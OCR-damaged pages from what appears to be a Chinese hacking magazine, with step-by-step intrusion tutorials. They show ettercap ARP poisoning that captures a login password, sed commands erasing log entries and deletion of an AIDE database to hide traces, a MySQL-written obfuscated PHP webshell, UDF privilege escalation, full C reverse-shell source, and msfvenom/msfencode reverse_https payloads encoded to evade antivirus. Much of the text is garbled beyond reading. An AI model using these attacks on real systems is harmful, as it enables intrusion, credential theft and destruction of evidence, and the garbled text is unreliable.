2 ettercap -T —M wxp // // *
and ettercap responds
*attarcap 0.7 S copyright 2001-2012 Ettercap Development Teans

K 3-1-33
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ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team

ettercap 0.7.5
[root@jcms ...]# ettercap -T -M arp “// //" -q -i ethO

ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team

TARGET (// //) contains invalid chars !
[root@jcms ...]# etvercap -T -M arp /// /// -q -1 ethO
ettercap 0.7.5 copyright 2001-2012 ettercap Development Team

Listening on:
eth0 -> 34:40:B5:AA:CB:BC
10.149,100,150/255.255.255.0
fe80::3640:b5ff:feaa:cbbc/64

SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

p1u81n ec_sslstrip.so cannot be loaded...
Tugins
40 protoc01 dissectors
55 ports monitored

13861 mac vendor fingerprint

1766 tcp oS fingerprint

2183 known services

Randomizi 255 hosts for scanni
Scann1ng the whole netmask for 255 hosts...
| >| 100.00 %

19 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)
SEVing el TheF gt 17 the 1150

Text only Interface activated...
Hit 'h" for inline help

K 3-1-34
vl AR s sl T DAL 1 ERE , MELAZRAS 2 A s ) sk B ML B 1, 1T ELUR AN RERT 25 HL
N E U RN E T LA AR — B &R, RIS ERERTIF . FTCAR? A
i F1—%% nohup 714, Nohup [ EEAHENIIE/T 4, W 3-1-35:

[ruot@;(ms ...J# nohup ettercap -T -M arp -q -1 eth0 > ettercap &

1] 9039

root@jcms ...]# nohup: ZIX@AEEEHEIIFEGLE

[root@jcms ...]# ps -ef | rep etter

65534 9030 8712 99 00:24 pts/2 00:00:55 ettercap -T -M arp /// /// -q -i eth0
8712 0 00:25 pts/2 :00:

root 9052 00:00:00 grep etter
[root@jcms ...]# cat ettercap

ettercap ettercap-0.7.3-2.rf.src.rpm ettercap-0.7.5-3.e16.1.20120906gitc796e5. 1686. rpm
[root@jcms ...]# cat ettercap

ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team
L15[En1ng on

10. 149 100 150/255 255.255.0
fe80::3640:b5ff:feaa:cbbc/64

ssL dissection needs a valid ‘redir_ comnand on' script in the etter.conf file
privileges dropped to UID 65534 GID 65534.

p1u81n ec_ssIstrip.so cannot be loaded..

40 protoco] dissectors
55 ports monitor
13861 mac vendor f1ngerpr1nt
1766 tcp 0s f1ngerpr1m
3 known services

Randomizing 255 hosts for scannin
scTnning the whole netmask for 255 hosts.

1 100.00 %
18 hosts added to the hosts Tist...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the 1list)
starting unified sniffing.

Text only Interface activated... / [

Hit "h" ¥or inline help & L&
pHcp: [00:1A:64:05 - orscover z SR TR - |
DHCP: [00:1A:64:6C 3l :lll] DISCOVER ﬂ“ty Team_:

B 3-1-35
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Ok, CAMINAIEfG BT, FHAKRMT, MREES 1, WK 3-1-36:

13861 mac vendor Tingerprint 5|
1766 tcp 0S fingerpr?nt

2183 known services

Randm‘iling 255 hosts for scanning...

scanning the whole netmask for 255 hosts...

=2 | 100.00 %

18 hosts added to the hosts Tist...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

starting unified sniffing...

Text on1¥ Interface activated...

Hit 'h' for inline help

DHCP: [00:1A:64:D5:5E DISCOVER

DHCP: [00:1 6C:CC DISCOVER

DHCP: [00:1A:64:CB:3F DISCOVER

DHCP: [00:1, 27:4F DISCOVER

oHCP: [00 60 DISCOVER

pHCP: [00 c7 DISCOVER

oHcP: [00 46 DISCOVER

pHCP: [00 SE DISCOVER

DHCP: [00 cc DISCOVER

DHCP: [00 3F DISCOVER

DHCP: [00 AR DISCOVER

DHCP: [00 160 DISCOVER

DHCP: [00 17 DISCOVER

DHCP: [00 146 DISCOVER

DHCP: [00 iSE DISCOVER

DHCP: [00 cc DISCOVER

DHCP: [00 3F DISCOVER

DHCP: [00 AF DISCOVER

pHCP: [00 60 DISCOVER

DHCP: [00 c7 DISCOVER

DHCP: [00:1A:64:CB:46 DISCOVER

DHCP: [00:1A:64:D5:5E DISCOVER i

DHCP: [00:1 6C:CC DISCOVER . >
DHCP: [00:1A:64:CB:3F DISCOVER 3
HTTP : 10.149.100.150: 0 -> USER: WM PASS: 123456 INFO: http: AN 3/ /jcms/index_jcms. jsp -
DHCP: [00:1A:64:27: MMM DISCOVER rity Tea
[root@jcms ...]# 1 ¢

K 3-1-36
A DAMRER 2 R U AT
+ M aide ST
EE RO EE 2] T — N HF, aide, IIINFBARS] 7 IR SO R—A R I T
SR mFY ZEAHE, i 3-1-37,K 3-1-38, K 3-1-39:

DHUP: LUU:LA:D4:Z/1AF:8D] DLISCOVER
[root@jcms c..]# sed -1 "/ . 2 5/d" /var/log/messages*
[root@jcms ...]# sed -i '/ . £ 5/d" /var/log/lastlog
[root@jcms ...]# sed -i '/ . £ 5/d" /var/log/w
. 5/d" /var/jo i~
5/d" /fvary /wtmp- = —
. X e
- g;g /var/1g@/secure uty Team
7:§$/§;gg%72r;§7:oot LSPP 4

wpa_supplicant.log wtmp
[root@jcms ...]# sed -1 "/
wpa_supplicant.log wtmp
[root@jcms ...]# sed -i '
[root@lcms .. ]J# sed -1 "/
[root@jcms ...]1# sed -i '/

/etc/login, defs LsPP
/etc/securet(¥ LSPP
/var/log/faillog LSPP
/var/log/1astlog LsPP

/etc/hosts LsPP
/etc/sysconfig LSPP

/etc/inittab LsPP
/etc/grub/ LSpP
/etc/re.d LSPP
/etc/1d. so. conf LSPP
/etc/localtime LSPP
/etc/sysct, conf LSPP
/etc/modprobe. conf LSPP

/etc/pam.d LSPP

/etc/security LSPP s 5
Jetc/aliases LSPP BB IDRRRIE I Gitpaeh/E BREMT
/etc/postfix LSPP

/etc/ssh/sshd_config LSPP

/etc/ssh/ssh_confiq LSPP

/etc/stunnel LSPP

/etc/vsftpd. ftpusers LSPP
/etc/vsftpd LSPP

/etc/issue LSPP
/etc/issue.net LSPP

/etc/cups LSPP

# with AIDE's default verbosity level of 5, these would give lots of
# warnings upon tree traversal. It might change with future version. Y
¢

#=/Tost\+found  DIR ' W/
#=/home DIR ~ -
ity Toamj
& 3-1-38
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1/usr/Tmp

# Check only permissions, inode, user and group for /etc, but
# cover some important files closely.
/etc PERMS

! /etc/mtab

# Ignore backup files

'/etc/. *~

/etc/exports NORMAL

/etc/fstab NORMAL

/etc/passwd  NORMAL

/etc/group NORMAL

/etc/gshadow NORMAL

/etc/shadow  NORMAL
/etc/security/opasswd  NORMAL

/etc/hosts.allow  NORMAL
/etc/hosts. deny NORMAL

/etc/sudoers NORMAL
/etc/skel NORMAL

/etc/logrotate.d NORMAL

/etc/resolv.conf DATAONLY —

/etc/nscd. conf NORMAL
/etc/securetty NORMAL

# shell/x starting files
Jetc/profile NORMAL -
/etc/bashrc NORMAL
/etc/bash_completion.d/ NORMAL
/etc/login, defs NORMAL
/etc/zprofile NORMAL
/etc/zshrc NORMAL

/etc/zlogin NORMAL
/etc/zlogout NORMAL
/etc/profile.d/ NORMAL
/etc/X11/ NORMAL

# Pkg manager
/etc/yum, conf NORMAL

/etc/yumex. conf NORMAL
/etc/yumex. profiles. conf NORMAL
‘etc/yum/ NORMAL
‘etc/yum.repos.d/ NORMAL

K 3-1-39
B, bR a ! ang, ik 3-1-40:

[root@jcms ~|# cd /var/lib/aide/
[root@jcms aide]# rm -rf *
[root@jcms aide]# 1s

[root@]cms aidel]# aide --check
Couldn't open file /var/lib/aide/aide.db. or %fping (
[root@jcms aide]# 5| |

urity Team

K 3-1-40
GEme, M2 s T, HEW, BIRELER.
T EERKRAZE:
A PRSI, R REEE 1, (HR AR 2 A2 —E 5.
WFEMGRE, W 3-1-41:
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w2 H sed a2 00, 4nf&l 3-1-42:

3-1-42
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ALERTE, MRERERCAREEMERTE, Nk 3-1-43:

K 3-1-43
R REINE

RESRE A IRk IR 5 A5 DL url, R EE@EAATT A XX 3 BB 3% . — 1> SSH Socks
REE, —vne, WEEIEFEH, BEERBITME. (HE, FRNME ip SMN 2Tk
WE, BTPARREEZE2E vne, SRJEHF vne 1 5900 iy AR HIANMN, BEN. FESOR T, —#%
(RIS 25 0 AN LB R EL, IXFERMERIE vne 452238 iy, o R R R T, 1R
bR EA EAL T, X FERIE A GRS AT WY 38 R AT W B IE . P LASE — A e e e
firefox A5 [ PR 4%
O3k firefox
Wik 3-1-44:
[root@msf ~]# ssh 127.0.0.1 -p 550 -X
root@127.0.0.1's password:
Last login: Wed Aug 14 12:14:45 2013 from 10.149.97.99
[root@jcms ~]# firefox
Error: no display specified
[root@jcms ~]# cd /etc/yum.repos.d/ I
[root@jcms yum.repos.d]# 1s

163.repo ettercap.repo
[root@jcms yum.repos.d]# clear

[root@jcms yum.repos.d]# 1s

163.repo ettercap.repo

[root@jcms yum.repos.d]# yum install firefox
Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile r
name | B 00:00

namel | B 00:00 .
Setting up Install Process

Resolving Dependencies

--> Running transaction check

---> Package firefox.i686 0:3.6.9-2.el6 will be updated

---> Package firefox.i686 0:10.0.12-1.el6.centos will be an update (
--> Processing Dependency: xulrunner >= 10.0.12-1 for package: firefox—le.ﬁflg-l.elG.centos.iﬁSﬁta
--> Processing Dependency: libmozalloc.so for package: firefox-10.0.12-1.el6/€entos.i686 A+ |

5 3-1-44

48 Bi/3 122 T EIE: http://t.qq.com/hackcto HARHE: 44 15 H Ak Rtk



(Z25%) — (5 BL AT B 75 P35k : www.hackcto.com Zk £ 45 : HACKCTO-201507-31

O=ELEmMFE, LFBEE 2/
W& 3-1-45, 3-1-46, & 3-1-47:

[= root@jcms:~ —e |

File Edit View Terminal Tabs Help

[root@jcms ~]# yum groupinstall "X window system"

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

Setting up Group Process

Loading mirror speeds from cached hostfile

Package xorg-x11-xinit-1.0.9-13.e16.1686 already installed and latest version

Package 1l:xorg-x11l-xauth-1.0.2-7.1.e16.1686 already installed and latest version
Package wacomexpresskeys-0.4.2-3.e16.1686 already installed and latest version

Package xvattr-1.3-18.e16.1i686 already installed and latest version

Resolving Dependencies

--> Running transaction check

---> Package firstboot.i686 0:1.110.8-1.el6 will be updated

---> Package firstboot.i686 0:1.110.14-1.el6 will be an update

---> Package glx-utils.i686 0:7.7-2.el6 will be updated

---> Package glx-utils.i686 0:9.0-0.7.el6 will be an update

---> Package hal.i686 0:0.5.14-8.e16 will be updated

--> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-storage-addon-0.5.14-8.el16.1686
--> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-devel-0.5.14-8.e16.1686
---> Package hal.i686 0:0.5.14-11.el6 will be an update

--> Processing Dependency: hal-libs = 0.5.14-11.el6 for package: hal-0.5.14-11.el16.1686
---> Package plymouth-system-theme.noarch 0:0.8.3-17.el16 will be updated

---> Package plymouth-system-theme.noarch 0:0.8.3-27.el6.centos will be an update

--> Processing Dependency: plymouth(system-theme) = 0.8.3-27.el6.centos for package: plymouth-sys
tem-theme-0.8.3-27.el6.centos.noarch

---> Package spice-vdagent.i686 0:0.12.0-4.el6 will be installed

---> Package wdaemon.i686 0:0.17-5.el6 will be installed

---> Package xorg-x1ll-drivers.i686 0:7.3-13.2.el6 will be updated

Tl

[T

---> Package xorg-xll-drivers.i686 0:7.3-13.4.el6 will be an update ) w-t ,'ir 2
--> Processing Dependency: xorg-x1l-drv-xgi for package: xorg-x1ll-drivers- -13.4.e‘ﬂ36l }86 eaml—‘
Kl 3-1-45

‘Applications Places System % =

() B 50621 Q)

3

root@jcms:~

Fle Edit View Terminal Tabs Help

[»]

Install 4 Package(s)
Upgrade 21 Package(s)

Total download size: 7.5 M
Is this ok [y/N]: y
Downloading Packages:

(1/25): firstboot-1.110.14-1.e16.1686.rpm 171 kB 00:00
(2/25): glx-utils-9.0-0.7.e16.1686.rpm 52 kB 00:00
(3/25): gnome-screensaver-2.28.3-24.e16.1686.rpm 4.3 MB 00:02
(4/25): hal-0.5.14-11.e16.1686.rpm 378 kB 00:00
(5/25): hal-devel-0.5.14-11.e16.1686.rpm 41 kB 00:00
(6/25): hal-1ibs-0.5.14-11.e16.1686.rpm 67 kB 00:00
(7/25): hal-storage-addon-0.5.14-11.e16.1686.rpm 40 kB 00:00
(8/25): pixman-0.26.2-4.e16.1686.rpm 206 kB 00:00
(9/25): pixman-devel-0.26.2-4.e16.1686.rpm 18 kB 00:00
(10/25): plymouth-core-1ibs-0.8.3-27.el6.centos.i686.rpm 88 kB 00:00

|
|
|
|
|
|
I
|
|
|
(11/25): plymouth-graphics-1ibs-0.8.3-27.el6.centos.i686.rpm | 40 kB 00:00
|
|
I
|
|
I
|
|
|

(12/25): plymouth-plugin-label-0.8.3-27.el6.centos.i686.rpm 31 kB 00:00
(13/25): plymouth-plugin-two-step-0.8.3-27.el6.centos.i1686.rpm 36 kB 00:00
(14/25): plymouth-system-theme-0.8.3-27.el6.centos.noarch.rpm 27 kB 00:00
(15/25): plymouth-theme-rings-0.8.3-27.el6.centos.noarch.rpm 33 kB 00:00
(16/25): spice-vdagent-0.12.0-4.e16.1686.rpm 51 kB 00:00
(17/25): wdaemon-0.17-5.e16.1686.rpm 39 kB 00:00
(18/25): xorg-x1l-apps-7.6-6.e16.1686.rpm 270 kB 00:00
(19/25): xorg-x11l-drivers-7.3-13.4.e16.1686.rpm 8.0 kB 00:00
(20/25): xorg-x1l-drv-modesetting-0.5.0-1.e16.1686.rpm 00:00 -
(21/25): xorg-x11-drv-xgi-1.6.0-18.20121114qgit.el6.1686.rpm 119 kB { 00:00 | [ =
ﬂ22/25): xorg-x1l-server-Xorg- (96%) 98% [ -1 1.0 MB/s B 00:00 E] =
[FN
-| B root@jcms:~ ] EEM

B 3-1-46
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root@jcms:~

File Edit View Terminal Tabs Help

[root@jcms ~]# yum groupinstall "Desktop"

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

Setting up Group Process

Loading mirror speeds from cached hostfile

Package xdg-user-dirs-gtk-0.8-7.e16.1686 already installed and latest version

Package alsa-plugins-pulseaudio-1.0.21-3.e16.1686 already installed and latest version
Package notification-daemon-0.5.0-1.e16.1686 already installed and latest version

Package polkit-gnome-0.96-3.e16.1686 already installed and latest version

Package gnome-screensaver-2.28.3-24.e16.1686 already installed and latest version

Package e0g-2.28.2-4.e16.1686 already installed and latest version

Package gok-2.28.1-5.e16.1i686 already installed and latest version

Package gnome-media-2.29.91-6.e16.1686 already installed and latest version

Package gnome-vfs2-smb-2.24.2-6.e16.1686 already installed and latest version

Package orca-2.28.2-1.e16.1686 already installed and latest version

Resolving Dependencies

--> Running transaction check

---> Package NetworkManager.i686 1:0.8.1-5.el6 will be updated

---> Package NetworkManager.i686 1:0.8.1-43.el6 will be an update

--> Processing Dependency: NetworkManager-glib = 1:0.8.1-43.el6 for package: 1l:NetworkManager-0.8
.1-43.e16.1686

---> Package NetworkManager-gnome.i686 1:0.8.1-5.el16 will be updated

---> Package NetworkManager-gnome.i686 1:0.8.1-43.el6 will be an update I
---> Package at-spi.i686 0:1.28.1-2.el6 will be updated

--> Processing Dependency: at-spi = 1.28.1-2.el6 for package: at-spi-python-1.28.1-2.e16.1686
---> Package at-spi.i686 0:1.28.1-2.el6.centos will be an update Y

---> Package control-center.i686 1:2.28.1-25.el6 will be updated

---> Package control-center.i686 1:2.28.1-38.el6 will be an update

--> Processing Dependency: control-center-filesystem = 1:2.28.1-38.el6 for package: ltiﬁ)yro-r-em“;

K 3-1-47
AN G R 2% vne T, %23 vne, WK 3-1-48:
File Edit View Terminal Tabs Help

[root@jcms yum.repos.d]# yum search vnc

Loaded plugins: katello, product-id, security, subscription-manager
Updating certificate-based repositories.

Unable to read consumer identity

name | 1.5 KB 00:00
name/primar :

/pri y 928 kB 0e:00
name 3285/3285

Matched: vnc

gtk-vnc.i386 : A GTK widget for WNC clients

gtk-vnc.x86_64 : A GTK widget for VNC clients

gtk-vnc-devel.i386 : Libraries, includes, etc. to compile with the gtk-wnc library
gtk-vnc-devel.x86 64 : Libraries, includes, etc. to compile with the gtk-wnc library
gtk-wnc-python.x86 64 : Python bindings for the gtk-wnc library

tsclient.x86 64 : Client for VWNC and Windows Terminal Server

vino.x86_64 : A remote desktop system for GNOME

vnec.x86_64 : A remote display system.

vnc-server.x86_64 : A WNC server.

xorg-x1l-server-Xvnc-source.x86 64 : Xserver source code required to build WNC server (Xvnc)
[root@jcms yum.repos.d]# yum install vnc vnc-server

Loaded plugins: katello, product-id, security, subscription-manager

Updating certificate-based repositories.

Unable to read consumer identity

Setting up Install Process

Package wnc-server-4.1.2-14.e15 6.6.x86_64 already installed and latest version

Resolving Dependencies ) )
--= Running transaction check ! [
---> Package vnc.x86 64 0:4.1.2-14.e15 6.6 set to be updated .
--» Finished Dependency Resolution

& 3-1-48
e E vne, U1K 3-1-49, 3-1-50:

2050 Bi/3 122 T EHIE: http://t.qq.com/hackcto WAERHB: 48 15 H . gk



(aB%) — 5 BB TIT B 77 M3k : www.hacketo.com 2% 455 : HACKCTO-201507-31

# DO NOT RUN THIS SERVICE if your local area network is
untrusted! For a secure way of using VNC, see
# <URL:http://www.uk.research.att.com/archive/vnc/sshvnc.html=.

*

# Use "-nolisten tcp" to prevent X connections to your VNC server wia TCP.
# Use "-nohttpd" to prevent web-based VNC clients connecting.

# Use "-localhost" to prevent remote VNC clients connecting except when
# doing so through a secure tunnel. 5ee the "-via" option in the
# "man vncviewer' manual page.

| e
BrEvncrootli XE00S S
ity Team.

NCSERVERS="2:root"
NCSERVERARGS[2]="-geometry 800x600"

b
Kl 3-1-49
[root@jcms yum:répcsjd]# vn::passwd
. -+ 00000000000
Password: RN cE T
Verify:
[root@jcms yum.repos.dl# Jetc/init.d/vncserver restart
Shutting down VNC server: 2:root [FAILED]
Starting VNC serwver: 2:root
New "jcms:2 (root)’ desktop is jcms:2
Creating default startup script /root/.vnc/xstartup
Starting applications specified in /root/.wnc/xstartup BRWNCARE
Log file is Jroot/.vnc/joms:2.log
[ Ok 1]
[root@jcms yum.repos.dl# vim ~/.vnc/xstartup
[root@jcms yum.repos.d]# head -n 5 ~/.vnc/xstartup
#!1/bin/sh
# Uncomment the following two lines Tor normal desktop: Y s
unset SESS5IO0ON_MAMNAGER
exec Jetc/X1ll/xinit/xinitrc i BT, .
[root@jcms yum.repos.dl# I} Dt)’ Team
Kl 3-1-50
2l N N il N > -
il P ek, ¥ 5902 i I 8% R iSRRI T 4%, fnf&l 3-1-51:

:2 (root) 3 - .—l—]“ D.!l
M Applications Places System Q@ @ﬁ 2:42 aM Q)

Computer
h a

root's Home

XML Parsing Error: undefined entity
Location: chrome://mozapps/content/profile/profileSelection
Line Number 53, Column 1:

<dialog

& 3-1-51
IRJE T AR SE N 2%, END.
(X5 TtiE9miE: Remix
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e W IKRTERANEE

E#&: lostwolf
KE: HEILIE - FickTeam
Wk:  http://team.fack.org/

B — B, XHEARAERERRE, B AFHRBRESEF RS KK, Brbl—
HERM . 5%, OEEZIE, SHRAERHH. CEREL, ARRERL B Kb dh
7T RENRRE. 298, RS2SRRSR ip .

H # (G5 [E 4k h): www.target.com ip:192.168.1.8. HFr Fuli R RIS ZS I A (asp,jsp,cfm,
php,aspx...), WA EHHTANT.

0x01 #EHZER

£ H google % — 2545 4 :site:target.com -inurl:www .

¢ F:dnsenum #RM — 2% 1K 4% : ./dnsenum.pl -f dns.txt -t 80 --threads 15 target.com.

A5 I P i FH TR AR IR B A O IR A4 AT A S 52 B 2 55 1 Al T H AR EZ A = A
KA .

0x02 FI IR

TEIX BEIRAFH — AN/ T H wss.exe CANENTE 1% T2 H AW 150 /2 safe3 web i B 1)) ,

% LHEAA M EE S FF A 2 getRd 48 tH— A ¢ BOP ) — 28 web il . ZERTIAER
TR SRS A . X RGBSR T (B, SR 1-2-1:

@echo off

colora

MODE CON COLS=120 LINES=30
title ¢ 215 B 470

echo ¢ B15.E 4701

set /p ips= iF TN R IHT ip:

wss.exe wss.conf 65 %ips%

I Buiy: 2068 | Blapeed: 9 ¢ | hitpM19L.255.33.33/

B 121

AZHEAfER 7, EEEMESR, WK 1-2-2:

13 17:22:111] % and % = and =
FOR [12/17/13 17:22:49] % or "x%' ="x]/[% and "xx'="]
GET id=96h3n2458ha847TTp36i63qml M username®3D1&pas eword=1

3 = ()

B 1-2-2
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SRS NIHE—MEN, — /MR HRSS. A LSRR RIRERIMTENSE] T
K, H—ERHEMZLRAZEANZEAHT? SMNEE LT Qi 2] W 75 475 R — P e ? 3477
AT DU % R B i 2 tracert in 2B B R B AT FEE B .

tracert My FIG: H L tracertip & 1R12, W HZE SN .

BAE ] tracert -4 -d -w 100 127.0.0.1

T

-d A kg AT B EHL A

-w timeout SERFRRAN R ST (VR I B () (DA 22 A0 Sy BT
-4 s 1Pva.

WHEESHMAT, HESWRL. mMEEEW, W 1-2-3:

C:xlsers Admninistratoritracert

=]
=
=

2 2
L= T B T B
= =
[T T B N - B
= =
= T B B - B

C I e R I

[

64.125.24.1
64.125.26.25
64.125.38.113
288.185.23.774

=]
=
=

=]
=
=

P T T T, )

=]
=
=

El

[T B T - N - N - N - O 7 7 T T 7 N - I
=

[T 7T B T - N N - N - O 7 7 T B 7 N I
2

=IO BT N T N - N - N - N - B IO T B B T I

=]
=

K 1-2-3
IR, BhAE 2. FATTAT DUE H Otrace(VF: B 2 EAENMK) . backtrack 5 N 4E . AidTE
X EFRAME ] Otrace A HEAR intrace.
intrace )22 3¢ 4 T BRI -
svn checkout http://intrace.googlecode.com/svn/trunk/ intrace
cd intrace/
./Makefile
R J5i%:  .Jintrace.bin -h 192.168.2.6 -p 80 -s 4
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-s ZHUREFAR A N-p W B L o BT 1% T EA LB H # ) F 30 07 2088t R, 1A
R tep IEFEMEN I RIRES, FrUARRATEE N HARHEAT Vi A £E1X B H AR K IEAS http
Hafs, ik 1-2-4:

e rootls SRl -

K 124
RIFREINEIE HbR. i s d, RIS BAs—3, PRl E— A M.
http://167.58.24.140/myadmin/main.php (url B34 ) 15 4] 2 J5 &K B2 phpmyadmin T H.
B 5 325 select user(), root AR
# g /libraries/select_lang.lib.php 3RHX web 4%} #4%24:  C:\Inetpub\wwwroot\myadmin\
select '<?php eval($_POST[1])?>' into outfile 'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php'
RIEFZW EE . web B kiE? AN 222 AHHH 0 php IRIFZRAE .. #id http://www.expdoo
r.com/article/5.html 3l f#R 2| — ANk 7 k3G ) php —f)iF shell.

<?php
S_uU=chr(99).chr(104).chr(114);5_cC=5_uU(101).5_uU(118).5_uU(97).5_uU(108).5_uU(40).5_uU(36).5_uU(95).5
_uU(80).5_uU(79).5_uU(83).5_uU(84).5_uU(91).5_uU(49).5_uU(93).5_uU(41).5_uU(59);S_fF=$_uU(99).5_uU(114
).$_uU(101).5_uU(97).5_uU(116).5_uU(101).5_uU(95).5_uU(102).$_uU(117).5_uU(110).5_uU(99).5_uU(116).5_u
U(105).5_uU(111).5_uU(110);5_=5_fF("",5_cC);@5_();?>

1EH K IN hex it 777
0x3c¢3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f75552831303
1292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f75552833
36292e245f7555283935292¢245f7555283830292e245f7555283739292e245f7555283833292e245f75552838342
92e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b
245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755
528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292¢2
45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131
292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e

select
0x3c¢3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f75552831303
1292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f75552833
36292e245f7555283935292¢245f7555283830292e245f7555283739292e245f7555283833292e¢245f75552838342
92e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b
245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755
528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292¢e2
45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131
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292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e into outfile
'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php' //7EZXFIFL ! 22 R HELT

STV ERE 1 %) getshell, 41K 1-2-5:
O ESrIE20100.. | 6 i o— | it/ | e

2 hinetpubhwwwr oot imyadnin' s |

K 1-2-5
AR B2 whoami BE &2 RGN . WARRIA T DISAT @4 . SETJULEITE T %4
12, [HA—EHATEFE phpinfo K3 safe_mode Ny Off I H. disable_functions no value 1t
SRR IATIE . AT AR R A AURIAAT emd (HIT )5 22 e BE T
disable_function ZE{[XIi A php(PHP <= 5.2.9)win32 P55 T /2 AT LAGE L 1)
225 W % :PHP 5.x COM functions safe_mode and disable_function bypass.
eI exec ZE R B L 4R PHP <= 5.2.9 Local Safemod Bypass Exploit.
http://huaidan.org/archives/3140.html.
http://luog.net/PHP-COM-functions/.
HAR BARRIRIR A (PHP Version 5.2.4) , {HZIHARIE e, FrbiAE - 2.
mysql root AR . FLATIEAHEE php BEAREAT A2 . 56 udf $248L, select version(), &I
& 5.0 KT 5.1 ATLAE K dil SCHAE 2 c:\windows\ H 3% . FE XA sqlmap BT dIl —f%
AP AR
FHICEEHE https://github.com/mysqludf/lib_mysqludf_sys. 1% dIl $2ft => k%4
lib_mysqludf_sys_info R4ZiE 5
sys_get FREUGAHA &
sys_set GIEFTHIIA AL B I M AR &
sys_exec PUATIEIT AR [HIE R
sys_eval T2 HIRHE R
XEBEENNETG: dIl SCHA K B EE T select Ox.. into outdump 5 B N ELEFRI (24 58FH
RZ —BFERUIRIIA), AT A S AR B AR TS Bk, AR5 load_file() bR £ 1%
AFFRIFPEH SN c:\\windows\\. iX BLFATEIE —4 sys_eval A PL T o
HARP IR
select load_file('d:\\php\\temp\\xxoo0.txt') into dumpfile 'c:\\windows\\sose.dlIl'
create function cmdshell returns string soname 'sose.dll’;

WX PAT A IR EATTE, IS A shell TE
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event.cpp CRJE: mysql_win_remote_stuxnet_technique ).

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main(int argc, char *argv[])
{
LPCSTR szMyUniqueNamedEvent="sysnullevt";
HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent);
switch (GetLastError())

{
// app is already running
case ERROR_ALREADY_EXISTS:
{
CloseHandle(m_hEvent);
return O;
// now exit
break;
}
// this is the first instance of the app
case ERROR_SUCCESS:
{
// global event created and new instance of app is running,
// continue on, don't forget to clean up m_hEvent on exit
break;
}
}

WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
if (argc I= 3){fprintf(stderr, "Usage: <rhost> <rport>\n"); exit(1);}

hax.sin_family = AF_INET;

hax.sin_port = htons(atoi(argv[2]));

hax.sin_addr.s_addr = inet_addr(argv[1]);
WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo,0,sizeof(ini_processo));

ini_processo.cb=sizeof{(ini_processo);

ini_processo.dwFlags=STARTF_USESTDHANDLES;

ini_processo.hStdinput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
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CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,O,NULL,NULL,(LPSTARTUPINFOA)&ini_processo,&processo
_info);
return O;

}

I EENE . NHAAH nc 8?2 ne BEH W, XA AR n.exe ip port fR/>
e, KB BT EAL udf BB ER, o0t BAERTTE B, AR AT
nc-lv 443 KA AR, H—PATa 2B . CE—VIRA R B4y 2 2 AR
£) Badr? 7 ? X metasploit BLHIH) windows/meterpreter/reverse_https(meterpreter
https S [ shell) £ pe— 5 1] :

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443
SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe -e -i

20 >/var/www/nokill.exe. ARAE/LATACEE FAL F LRI THi. Folizael s, #Tpakoe
A, metasploit SCHF AL I H AT LA E LR exe SUIFBBCR 4%, &l 1-2-6:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443
SessionCommunicationTimeout=0 SessionExpirationTimeout=0 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw
| msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw[msfencode -e
x86/countdown -c 5 -t raw | msfencode -e x86/fnstenv_mov -t raw [msfencode -e x86/fnstenv_mov -c 5 -t raw

| msfencode -t exe -x ~/Desktop/procdump.exe -o ~/Desktop/pe_lost.exe —e

1teration=2

(1teration=1)

(iteration=2)

B 1-2-6
2o Z )22 Mgt I B SC— MO . ARG ISR R 1, SRR AV B AR o 25
AT -x ETUE LR windows ATHAATRE P AR BT/, 1X BLERI%E T procdump.exe (14
BRI/ TR BT
AT
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msf > use multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_httpspayload =>
windows/meterpreter/reverse_httpsmsf exploit(handler) > set lhost 192.168.1.100lhost => 192.168.1.100msf
